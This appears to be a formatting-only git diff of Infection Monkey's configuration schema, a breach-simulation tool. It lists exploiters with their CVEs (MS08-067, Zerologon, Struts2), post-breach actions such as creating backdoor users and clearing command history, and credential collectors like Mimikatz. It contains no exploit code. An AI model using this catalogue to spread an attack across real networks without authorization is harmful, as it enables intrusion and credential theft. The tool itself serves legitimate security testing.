"type": "integer", - "minimum": 1, - "default": 2, - "description": "Amount of hops allowed for the Monkey to spread from the Island server. \n" - + WARNING_SIGN - + " Note that setting this value too high may result in the Monkey propagating too far, " - 'if the "Local network scan" is enabled.', + "depth":{ + "title":"Scan depth", + "type":"integer", + "minimum":1, + "default":2, + "description":"Amount of hops allowed for the Monkey to spread from the " + "Island server. \n" + + WARNING_SIGN + + " Note that setting this value too high may result in the " + "Monkey propagating too far, " + 'if the "Local network scan" is enabled.', }, - "subnet_scan_list": { - "title": "Scan target list", - "type": "array", - "uniqueItems": True, - "items": {"type": "string", "format": IP_RANGE}, - "default": [], - "description": "List of targets the Monkey will try to scan. Targets can be IPs, subnets or hosts." - " Examples:\n" - '\tTarget a specific IP: "192.168.0.1"\n' - '\tTarget a subnet using a network range: "192.168.0.5-192.168.0.20"\n' - '\tTarget a subnet using an IP mask: "192.168.0.5/24"\n' - '\tTarget a specific host: "printer.example"', + "subnet_scan_list":{ + "title":"Scan target list", + "type":"array", + "uniqueItems":True, + "items":{"type":"string", "format":IP_RANGE}, + "default":[], + "description":"List of targets the Monkey will try to scan. Targets can be " + "IPs, subnets or hosts." + " Examples:\n" + '\tTarget a specific IP: "192.168.0.1"\n' + "\tTarget a subnet using a network range: " + '"192.168.0.5-192.168.0.20"\n' + '\tTarget a subnet using an IP mask: "192.168.0.5/24"\n' + '\tTarget a specific host: "printer.example"', }, }, }, - "network_analysis": { - "title": "Network Analysis", - "type": "object", - "properties": { - "inaccessible_subnets": { - "title": "Network segmentation testing", - "type": "array", - "uniqueItems": True, - "items": {"type": "string", "format": IP_RANGE}, - "default": [], - "description": "Test for network segmentation by providing a list of network segments " - "that should NOT be accessible to each other.\n\n" - "For example, if you configured the following three segments: " - '"10.0.0.0/24", "11.0.0.2/32", and "12.2.3.0/24", ' - "a Monkey running on 10.0.0.5 will try to access machines in the following subnets: " - "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment connections " - "will be shown in the reports. \n\n" - "Network segments can be IPs, subnets or hosts. Examples:\n" - '\tDefine a single-IP segment: "192.168.0.1"\n' - '\tDefine a segment using a network range: "192.168.0.5-192.168.0.20"\n' - '\tDefine a segment using an subnet IP mask: "192.168.0.5/24"\n' - '\tDefine a single-host segment: "printer.example"', + "network_analysis":{ + "title":"Network Analysis", + "type":"object", + "properties":{ + "inaccessible_subnets":{ + "title":"Network segmentation testing", + "type":"array", + "uniqueItems":True, + "items":{"type":"string", "format":IP_RANGE}, + "default":[], + "description":"Test for network segmentation by providing a list of network " + "segments " + "that should NOT be accessible to each other.\n\n" + "For example, if you configured the following three segments: " + '"10.0.0.0/24", "11.0.0.2/32", and "12.2.3.0/24", ' + "a Monkey running on 10.0.0.5 will try to access machines in " + "the following subnets: " + "11.0.0.2/32, 12.2.3.0/24. An alert on successful cross-segment " + "connections " + "will be shown in the reports. \n\n" + "Network segments can be IPs, subnets or hosts. Examples:\n" + '\tDefine a single-IP segment: "192.168.0.1"\n' + '\tDefine a segment using a network range: ' + '"192.168.0.5-192.168.0.20"\n' + '\tDefine a segment using an subnet IP mask: "192.168.0.5/24"\n' + '\tDefine a single-host segment: "printer.example"', } }, }, diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index 3900b067525..76119626e21 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -12,22 +12,22 @@ from monkey_island.cc.services.config_schema.monkey import MONKEY SCHEMA = { - "title": "Monkey", - "type": "object", + "title":"Monkey", + "type":"object", # Newly added definitions should also be added to # monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js so that # users will not accidentally chose unsafe options - "definitions": { - "exploiter_classes": EXPLOITER_CLASSES, - "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, - "post_breach_actions": POST_BREACH_ACTIONS, - "finger_classes": FINGER_CLASSES, + "definitions":{ + "exploiter_classes":EXPLOITER_CLASSES, + "system_info_collector_classes":SYSTEM_INFO_COLLECTOR_CLASSES, + "post_breach_actions":POST_BREACH_ACTIONS, + "finger_classes":FINGER_CLASSES, }, - "properties": { - "basic": BASIC, - "basic_network": BASIC_NETWORK, - "monkey": MONKEY, - "internal": INTERNAL, + "properties":{ + "basic":BASIC, + "basic_network":BASIC_NETWORK, + "monkey":MONKEY, + "internal":INTERNAL, }, - "options": {"collapsed": True}, + "options":{"collapsed":True}, } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 88186e9edd6..4f3ea91a498 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -1,143 +1,158 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN EXPLOITER_CLASSES = { - "title": "Exploit class", - "description": "Click on exploiter to get more information about it." - + WARNING_SIGN - + " Note that using unsafe exploits may cause crashes of the exploited machine/service.", - "type": "string", - "anyOf": [ + "title":"Exploit class", + "description":"Click on exploiter to get more information about it." + + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited " + "machine/service.", + "type":"string", + "anyOf":[ { - "type": "string", - "enum": ["SmbExploiter"], - "title": "SMB Exploiter", - "safe": True, - "attack_techniques": ["T1110", "T1075", "T1035"], - "info": "Brute forces using credentials provided by user and" - " hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/smbexec/", + "type":"string", + "enum":["SmbExploiter"], + "title":"SMB Exploiter", + "safe":True, + "attack_techniques":["T1110", "T1075", "T1035"], + "info":"Brute forces using credentials provided by user and" + " hashes gathered by mimikatz.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/smbexec/", }, { - "type": "string", - "enum": ["WmiExploiter"], - "title": "WMI Exploiter", - "safe": True, - "attack_techniques": ["T1110", "T1106"], - "info": "Brute forces WMI (Windows Management Instrumentation) " - "using credentials provided by user and hashes gathered by mimikatz.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/wmiexec/", + "type":"string", + "enum":["WmiExploiter"], + "title":"WMI Exploiter", + "safe":True, + "attack_techniques":["T1110", "T1106"], + "info":"Brute forces WMI (Windows Management Instrumentation) " + "using credentials provided by user and hashes gathered by " + "mimikatz.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/wmiexec/", }, { - "type": "string", - "enum": ["MSSQLExploiter"], - "title": "MSSQL Exploiter", - "safe": True, - "attack_techniques": ["T1110"], - "info": "Tries to brute force into MsSQL server and uses insecure " - "configuration to execute commands on server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/mssql/", + "type":"string", + "enum":["MSSQLExploiter"], + "title":"MSSQL Exploiter", + "safe":True, + "attack_techniques":["T1110"], + "info":"Tries to brute force into MsSQL server and uses insecure " + "configuration to execute commands on server.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/mssql/", }, { - "type": "string", - "enum": ["Ms08_067_Exploiter"], - "title": "MS08-067 Exploiter", - "safe": False, - "info": "Unsafe exploiter, that might cause system crash due to the use of buffer overflow. " - "Uses MS08-067 vulnerability.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08-067/", + "type":"string", + "enum":["Ms08_067_Exploiter"], + "title":"MS08-067 Exploiter", + "safe":False, + "info":"Unsafe exploiter, that might cause system crash due to the use of buffer " + "overflow. " + "Uses MS08-067 vulnerability.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08" + "-067/", }, { - "type": "string", - "enum": ["SSHExploiter"], - "title": "SSH Exploiter", - "safe": True, - "attack_techniques": ["T1110", "T1145", "T1106"], - "info": "Brute forces using credentials provided by user and SSH keys gathered from systems.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sshexec/", + "type":"string", + "enum":["SSHExploiter"], + "title":"SSH Exploiter", + "safe":True, + "attack_techniques":["T1110", "T1145", "T1106"], + "info":"Brute forces using credentials provided by user and SSH keys " + "gathered from systems.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/sshexec/", }, { - "type": "string", - "enum": ["ShellShockExploiter"], - "title": "ShellShock Exploiter", - "safe": True, - "info": "CVE-2014-6271, based on logic from " - "https://github.com/nccgroup/shocker/blob/master/shocker.py .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/shellshock/", + "type":"string", + "enum":["ShellShockExploiter"], + "title":"ShellShock Exploiter", + "safe":True, + "info":"CVE-2014-6271, based on logic from " + "https://github.com/nccgroup/shocker/blob/master/shocker.py .", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/shellshock/", }, { - "type": "string", - "enum": ["SambaCryExploiter"], - "title": "SambaCry Exploiter", - "safe": True, - "info": "Bruteforces and searches for anonymous shares. Uses Impacket.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/sambacry/", + "type":"string", + "enum":["SambaCryExploiter"], + "title":"SambaCry Exploiter", + "safe":True, + "info":"Bruteforces and searches for anonymous shares. Uses Impacket.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/sambacry/", }, { - "type": "string", - "enum": ["ElasticGroovyExploiter"], - "title": "ElasticGroovy Exploiter", - "safe": True, - "info": "CVE-2015-1427. Logic is based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/elasticgroovy/", + "type":"string", + "enum":["ElasticGroovyExploiter"], + "title":"ElasticGroovy Exploiter", + "safe":True, + "info":"CVE-2015-1427. Logic is based on Metasploit module.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/elasticgroovy/", }, { - "type": "string", - "enum": ["Struts2Exploiter"], - "title": "Struts2 Exploiter", - "safe": True, - "info": "Exploits struts2 java web framework. CVE-2017-5638. Logic based on " - "https://www.exploit-db.com/exploits/41570 .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", + "type":"string", + "enum":["Struts2Exploiter"], + "title":"Struts2 Exploiter", + "safe":True, + "info":"Exploits struts2 java web framework. CVE-2017-5638. Logic based on " + "https://www.exploit-db.com/exploits/41570 .", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/struts2/", }, { - "type": "string", - "enum": ["WebLogicExploiter"], - "title": "WebLogic Exploiter", - "safe": True, - "info": "Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/weblogic/", + "type":"string", + "enum":["WebLogicExploiter"], + "title":"WebLogic Exploiter", + "safe":True, + "info":"Exploits CVE-2017-10271 and CVE-2019-2725 vulnerabilities on WebLogic server.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" + "/weblogic/", }, { - "type": "string", - "enum": ["HadoopExploiter"], - "title": "Hadoop/Yarn Exploiter", - "safe": True, - "info": "Remote code execution on HADOOP server with YARN and default settings. " - "Logic based on https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", + "type":"string", + "enum":["HadoopExploiter"], + "title":"Hadoop/Yarn Exploiter", + "safe":True, + "info":"Remote code execution on HADOOP server with YARN and default settings. " + "Logic based on " + "https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/hadoop/", }, { - "type": "string", - "enum": ["VSFTPDExploiter"], - "title": "VSFTPD Exploiter", - "safe": True, - "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. " - "Logic based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/", + "type":"string", + "enum":["VSFTPDExploiter"], + "title":"VSFTPD Exploiter", + "safe":True, + "info":"Exploits a malicious backdoor that was added to the VSFTPD download archive. " + "Logic based on Metasploit module.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/", }, { - "type": "string", - "enum": ["DrupalExploiter"], - "title": "Drupal Exploiter", - "safe": True, - "info": "Exploits a remote command execution vulnerability in a Drupal server," - "for which certain modules (such as RESTful Web Services) are enabled.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/", + "type":"string", + "enum":["DrupalExploiter"], + "title":"Drupal Exploiter", + "safe":True, + "info":"Exploits a remote command execution vulnerability in a Drupal server," + "for which certain modules (such as RESTful Web Services) are enabled.", + "link":"https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/", }, { - "type": "string", - "enum": ["ZerologonExploiter"], - "title": "Zerologon Exploiter", - "safe": False, - "info": "Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " - "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " - "This exploiter changes the password of a Windows server domain controller " - "account and then attempts to restore it. The victim domain controller " - "will be unable to communicate with other domain controllers until the original " - "password has been restored. If Infection Monkey fails to restore the " - "password automatically, you'll have to do it manually. For more " - "information, see the documentation.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/", + "type":"string", + "enum":["ZerologonExploiter"], + "title":"Zerologon Exploiter", + "safe":False, + "info":"Exploits a privilege escalation vulnerability (CVE-2020-1472) in a Windows " + "server domain controller by using the Netlogon Remote Protocol (MS-NRPC). " + "This exploiter changes the password of a Windows server domain controller " + "account and then attempts to restore it. The victim domain controller " + "will be unable to communicate with other domain controllers until the original " + "password has been restored. If Infection Monkey fails to restore the " + "password automatically, you'll have to do it manually. For more " + "information, see the documentation.", + "link":"https://www.guardicore.com/infectionmonkey" + "/docs/reference/exploiters/zerologon/", }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 88bf441309e..b821d3f8c83 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -1,70 +1,71 @@ FINGER_CLASSES = { - "title": "Fingerprint class", - "description": "Fingerprint modules collect info about external services " - "Infection Monkey scans.", - "type": "string", - "anyOf": [ + "title":"Fingerprint class", + "description":"Fingerprint modules collect info about external services " + "Infection Monkey scans.", + "type":"string", + "anyOf":[ { - "type": "string", - "enum": ["SMBFinger"], - "title": "SMBFinger", - "safe": True, - "info": "Figures out if SMB is running and what's the version of it.", - "attack_techniques": ["T1210"], + "type":"string", + "enum":["SMBFinger"], + "title":"SMBFinger", + "safe":True, + "info":"Figures out if SMB is running and what's the version of it.", + "attack_techniques":["T1210"], }, { - "type": "string", - "enum": ["SSHFinger"], - "title": "SSHFinger", - "safe": True, - "info": "Figures out if SSH is running.", - "attack_techniques": ["T1210"], + "type":"string", + "enum":["SSHFinger"], + "title":"SSHFinger", + "safe":True, + "info":"Figures out if SSH is running.", + "attack_techniques":["T1210"], }, { - "type": "string", - "enum": ["PingScanner"], - "title": "PingScanner", - "safe": True, - "info": "Tries to identify if host is alive and which OS it's running by ping scan.", + "type":"string", + "enum":["PingScanner"], + "title":"PingScanner", + "safe":True, + "info":"Tries to identify if host is alive and which OS it's running by ping scan.", }, { - "type": "string", - "enum": ["HTTPFinger"], - "title": "HTTPFinger", - "safe": True, - "info": "Checks if host has HTTP/HTTPS ports open.", + "type":"string", + "enum":["HTTPFinger"], + "title":"HTTPFinger", + "safe":True, + "info":"Checks if host has HTTP/HTTPS ports open.", }, { - "type": "string", - "enum": ["MySQLFinger"], - "title": "MySQLFinger", - "safe": True, - "info": "Checks if MySQL server is running and tries to get it's version.", - "attack_techniques": ["T1210"], + "type":"string", + "enum":["MySQLFinger"], + "title":"MySQLFinger", + "safe":True, + "info":"Checks if MySQL server is running and tries to get it's version.", + "attack_techniques":["T1210"], }, { - "type": "string", - "enum": ["MSSQLFinger"], - "title": "MSSQLFinger", - "safe": True, - "info": "Checks if Microsoft SQL service is running and tries to gather information about it.", - "attack_techniques": ["T1210"], + "type":"string", + "enum":["MSSQLFinger"], + "title":"MSSQLFinger", + "safe":True, + "info":"Checks if Microsoft SQL service is running and tries to gather " + "information about it.", + "attack_techniques":["T1210"], }, { - "type": "string", - "enum": ["ElasticFinger"], - "title": "ElasticFinger", - "safe": True, - "info": "Checks if ElasticSearch is running and attempts to find it's version.", - "attack_techniques": ["T1210"], + "type":"string", + "enum":["ElasticFinger"], + "title":"ElasticFinger", + "safe":True, + "info":"Checks if ElasticSearch is running and attempts to find it's " "version.", + "attack_techniques":["T1210"], }, { - "type": "string", - "enum": ["PostgreSQLFinger"], - "title": "PostgreSQLFinger", - "safe": True, - "info": "Checks if PostgreSQL service is running and if its communication is encrypted.", - "attack_techniques": ["T1210"], + "type":"string", + "enum":["PostgreSQLFinger"], + "title":"PostgreSQLFinger", + "safe":True, + "info":"Checks if PostgreSQL service is running and if its communication is encrypted.", + "attack_techniques":["T1210"], }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py index ea9b18aba7f..0a5db562c31 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py @@ -1,101 +1,108 @@ POST_BREACH_ACTIONS = { - "title": "Post breach actions", - "description": "Runs scripts/commands on infected machines. These actions safely simulate what an adversary" - "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", - "type": "string", - "anyOf": [ + "title":"Post breach actions", + "description":"Runs scripts/commands on infected machines. These actions safely simulate what " + "an adversary" + "might do after breaching a new machine. Used in ATT&CK and Zero trust reports.", + "type":"string", + "anyOf":[ { - "type": "string", - "enum": ["BackdoorUser"], - "title": "Back door user", - "safe": True, - "info": "Attempts to create a new user on the system and delete it afterwards.", - "attack_techniques": ["T1136"], + "type":"string", + "enum":["BackdoorUser"], + "title":"Back door user", + "safe":True, + "info":"Attempts to create a new user on the system and delete it " "afterwards.", + "attack_techniques":["T1136"], }, { - "type": "string", - "enum": ["CommunicateAsNewUser"], - "title": "Communicate as new user", - "safe": True, - "info": "Attempts to create a new user, create HTTPS requests as that user and delete the user " - "afterwards.", - "attack_techniques": ["T1136"], + "type":"string", + "enum":["CommunicateAsNewUser"], + "title":"Communicate as new user", + "safe":True, + "info":"Attempts to create a new user, create HTTPS requests as that " + "user and delete the user " + "afterwards.", + "attack_techniques":["T1136"], }, { - "type": "string", - "enum": ["ModifyShellStartupFiles"], - "title": "Modify shell startup files", - "safe": True, - "info": "Attempts to modify shell startup files, like ~/.profile, ~/.bashrc, ~/.bash_profile " - "in linux, and profile.ps1 in windows. Reverts modifications done afterwards.", - "attack_techniques": ["T1156", "T1504"], + "type":"string", + "enum":["ModifyShellStartupFiles"], + "title":"Modify shell startup files", + "safe":True, + "info":"Attempts to modify shell startup files, like ~/.profile, " + "~/.bashrc, ~/.bash_profile " + "in linux, and profile.ps1 in windows. Reverts modifications done" + " afterwards.", + "attack_techniques":["T1156", "T1504"], }, { - "type": "string", - "enum": ["HiddenFiles"], - "title": "Hidden files and directories", - "safe": True, - "info": "Attempts to create a hidden file and remove it afterward.", - "attack_techniques": ["T1158"], + "type":"string", + "enum":["HiddenFiles"], + "title":"Hidden files and directories", + "safe":True, + "info":"Attempts to create a hidden file and remove it afterward.", + "attack_techniques":["T1158"], }, { - "type": "string", - "enum": ["TrapCommand"], - "title": "Trap", - "safe": True, - "info": "On Linux systems, attempts to trap an interrupt signal in order to execute a command " - "upon receiving that signal. Removes the trap afterwards.", - "attack_techniques": ["T1154"], + "type":"string", + "enum":["TrapCommand"], + "title":"Trap", + "safe":True, + "info":"On Linux systems, attempts to trap an interrupt signal in order " + "to execute a command " + "upon receiving that signal. Removes the trap afterwards.", + "attack_techniques":["T1154"], }, { - "type": "string", - "enum": ["ChangeSetuidSetgid"], - "title": "Setuid and Setgid", - "safe": True, - "info": "On Linux systems, attempts to set the setuid and setgid bits of a new file. " - "Removes the file afterwards.", - "attack_techniques": ["T1166"], + "type":"string", + "enum":["ChangeSetuidSetgid"], + "title":"Setuid and Setgid", + "safe":True, + "info":"On Linux systems, attempts to set the setuid and setgid bits of " + "a new file. " + "Removes the file afterwards.", + "attack_techniques":["T1166"], }, { - "type": "string", - "enum": ["ScheduleJobs"], - "title": "Job scheduling", - "safe": True, - "info": "Attempts to create a scheduled job on the system and remove it.", - "attack_techniques": ["T1168", "T1053"], + "type":"string", + "enum":["ScheduleJobs"], + "title":"Job scheduling", + "safe":True, + "info":"Attempts to create a scheduled job on the system and remove it.", + "attack_techniques":["T1168", "T1053"], }, { - "type": "string", - "enum": ["Timestomping"], - "title": "Timestomping", - "safe": True, - "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.", - "attack_techniques": ["T1099"], + "type":"string", + "enum":["Timestomping"], + "title":"Timestomping", + "safe":True, + "info":"Creates a temporary file and attempts to modify its time " + "attributes. Removes the file afterwards.", + "attack_techniques":["T1099"], }, { - "type": "string", - "enum": ["SignedScriptProxyExecution"], - "title": "Signed script proxy execution", - "safe": False, - "info": "On Windows systems, attempts to execute an arbitrary file " - "with the help of a pre-existing signed script.", - "attack_techniques": ["T1216"], + "type":"string", + "enum":["SignedScriptProxyExecution"], + "title":"Signed script proxy execution", + "safe":False, + "info":"On Windows systems, attempts to execute an arbitrary file " + "with the help of a pre-existing signed script.", + "attack_techniques":["T1216"], }, { - "type": "string", - "enum": ["AccountDiscovery"], - "title": "Account Discovery", - "safe": True, - "info": "Attempts to get a listing of user accounts on the system.", - "attack_techniques": ["T1087"], + "type":"string", + "enum":["AccountDiscovery"], + "title":"Account Discovery", + "safe":True, + "info":"Attempts to get a listing of user accounts on the system.", + "attack_techniques":["T1087"], }, { - "type": "string", - "enum": ["ClearCommandHistory"], - "title": "Clear command history", - "safe": False, - "info": "Attempts to clear the command history.", - "attack_techniques": ["T1146"], + "type":"string", + "enum":["ClearCommandHistory"], + "title":"Clear command history", + "safe":False, + "info":"Attempts to clear the command history.", + "attack_techniques":["T1146"], }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index 487166ec6f6..b2568f98cb9 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -8,57 +8,58 @@ ) SYSTEM_INFO_COLLECTOR_CLASSES = { - "title": "System Information Collectors", - "description": "Click on a system info collector to find out what it collects.", - "type": "string", - "anyOf": [ + "title":"System Information Collectors", + "description":"Click on a system info collector to find out what it collects.", + "type":"string", + "anyOf":[ { - "type": "string", - "enum": [ENVIRONMENT_COLLECTOR], - "title": "Environment collector", - "safe": True, - "info": "Collects information about machine's environment (on premise/GCP/AWS).", - "attack_techniques": ["T1082"], + "type":"string", + "enum":[ENVIRONMENT_COLLECTOR], + "title":"Environment collector", + "safe":True, + "info":"Collects information about machine's environment (on " "premise/GCP/AWS).", + "attack_techniques":["T1082"], }, { - "type": "string", - "enum": [MIMIKATZ_COLLECTOR], - "title": "Mimikatz collector", - "safe": True, - "info": "Collects credentials from Windows credential manager.", - "attack_techniques": ["T1003", "T1005"], + "type":"string", + "enum":[MIMIKATZ_COLLECTOR], + "title":"Mimikatz collector", + "safe":True, + "info":"Collects credentials from Windows credential manager.", + "attack_techniques":["T1003", "T1005"], }, { - "type": "string", - "enum": [AWS_COLLECTOR], - "title": "AWS collector", - "safe": True, - "info": "If on AWS, collects more information about the AWS instance currently running on.", - "attack_techniques": ["T1082"], + "type":"string", + "enum":[AWS_COLLECTOR], + "title":"AWS collector", + "safe":True, + "info":"If on AWS, collects more information about the AWS instance " + "currently running on.", + "attack_techniques":["T1082"], }, { - "type": "string", - "enum": [HOSTNAME_COLLECTOR], - "title": "Hostname collector", - "safe": True, - "info": "Collects machine's hostname.", - "attack_techniques": ["T1082", "T1016"], + "type":"string", + "enum":[HOSTNAME_COLLECTOR], + "title":"Hostname collector", + "safe":True, + "info":"Collects machine's hostname.", + "attack_techniques":["T1082", "T1016"], }, { - "type": "string", - "enum": [PROCESS_LIST_COLLECTOR], - "title": "Process list collector", - "safe": True, - "info": "Collects a list of running processes on the machine.", - "attack_techniques": ["T1082"], + "type":"string", + "enum":[PROCESS_LIST_COLLECTOR], + "title":"Process list collector", + "safe":True, + "info":"Collects a list of running processes on the machine.", + "attack_techniques":["T1082"], }, { - "type": "string", - "enum": [AZURE_CRED_COLLECTOR], - "title": "Azure credential collector", - "safe": True, - "info": "Collects password credentials from Azure VMs", - "attack_techniques": ["T1003", "T1005"], + "type":"string", + "enum":[AZURE_CRED_COLLECTOR], + "title":"Azure credential collector", + "safe":True, + "info":"Collects password credentials from Azure VMs", + "attack_techniques":["T1003", "T1005"], }, ], } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 890e74efab7..0c0f878ae11 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -1,146 +1,154 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN INTERNAL = { - "title": "Internal", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "singleton_mutex_name": { - "title": "Singleton mutex name", - "type": "string", - "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": "The name of the mutex used to determine whether the monkey is already running", - }, - "keep_tunnel_open_time": { - "title": "Keep tunnel open time", - "type": "integer", - "default": 60, - "description": "Time to keep tunnel open before going down after last exploit (in seconds)", - }, - "monkey_dir_name": { - "title": "Monkey's directory name", - "type": "string", - "default": r"monkey_dir", - "description": "Directory name for the directory which will contain all of the monkey files", - }, - "started_on_island": { - "title": "Started on island", - "type": "boolean", - "default": False, - "description": "Was exploitation started from island" - "(did monkey with max depth ran on island)", + "title":"Internal", + "type":"object", + "properties":{ + "general":{ + "title":"General", + "type":"object", + "properties":{ + "singleton_mutex_name":{ + "title":"Singleton mutex name", + "type":"string", + "default":"{2384ec59-0df8-4ab9-918c-843740924a28}", + "description":"The name of the mutex used to determine whether the monkey is " + "already running", + }, + "keep_tunnel_open_time":{ + "title":"Keep tunnel open time", + "type":"integer", + "default":60, + "description":"Time to keep tunnel open before going down after last exploit " + "(in seconds)", + }, + "monkey_dir_name":{ + "title":"Monkey's directory name", + "type":"string", + "default":r"monkey_dir", + "description":"Directory name for the directory which will contain all of the" + " monkey files", + }, + "started_on_island":{ + "title":"Started on island", + "type":"boolean", + "default":False, + "description":"Was exploitation started from island" + "(did monkey with max depth ran on island)", }, }, }, - "monkey": { - "title": "Monkey", - "type": "object", - "properties": { - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 100, - "description": "Determines the maximum number of machines the monkey is allowed to scan", - }, - "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 100, - "description": "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " - + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating to " - "a high number of machines", - }, - "internet_services": { - "title": "Internet services", - "type": "array", - "uniqueItems": True, - "items": {"type": "string"}, - "default": ["monkey.guardicore.com", "www.google.com"], - "description": "List of internet services to try and communicate with to determine internet" - " connectivity (use either ip or domain)", - }, - "self_delete_in_cleanup": { - "title": "Self delete on cleanup", - "type": "boolean", - "default": True, - "description": "Should the monkey delete its executable when going down", - }, - "use_file_logging": { - "title": "Use file logging", - "type": "boolean", - "default": True, - "description": "Should the monkey dump to a log file", - }, - "serialize_config": { - "title": "Serialize config", - "type": "boolean", - "default": False, - "description": "Should the monkey dump its config on startup", - }, - "alive": { - "title": "Alive", - "type": "boolean", - "default": True, - "description": "Is the monkey alive", - }, - "aws_keys": { - "type": "object", - "properties": { - "aws_access_key_id": {"type": "string", "default": ""}, - "aws_secret_access_key": {"type": "string", "default": ""}, - "aws_session_token": {"type": "string", "default": ""}, + "monkey":{ + "title":"Monkey", + "type":"object", + "properties":{ + "victims_max_find":{ + "title":"Max victims to find", + "type":"integer", + "default":100, + "description":"Determines the maximum number of machines the monkey is " + "allowed to scan", + }, + "victims_max_exploit":{ + "title":"Max victims to exploit", + "type":"integer", + "default":100, + "description":"Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + + WARNING_SIGN + + " Note that setting this value too high may result in the " + "monkey propagating to " + "a high number of machines", + }, + "internet_services":{ + "title":"Internet services", + "type":"array", + "uniqueItems":True, + "items":{"type":"string"}, + "default":["monkey.guardicore.com", "www.google.com"], + "description":"List of internet services to try and communicate with to " + "determine internet" + " connectivity (use either ip or domain)", + }, + "self_delete_in_cleanup":{ + "title":"Self delete on cleanup", + "type":"boolean", + "default":True, + "description":"Should the monkey delete its executable when going down", + }, + "use_file_logging":{ + "title":"Use file logging", + "type":"boolean", + "default":True, + "description":"Should the monkey dump to a log file", + }, + "serialize_config":{ + "title":"Serialize config", + "type":"boolean", + "default":False, + "description":"Should the monkey dump its config on startup", + }, + "alive":{ + "title":"Alive", + "type":"boolean", + "default":True, + "description":"Is the monkey alive", + }, + "aws_keys":{ + "type":"object", + "properties":{ + "aws_access_key_id":{"type":"string", "default":""}, + "aws_secret_access_key":{"type":"string", "default":""}, + "aws_session_token":{"type":"string", "default":""}, }, }, }, }, - "island_server": { - "title": "Island server", - "type": "object", - "properties": { - "command_servers": { - "title": "Island server's IP's", - 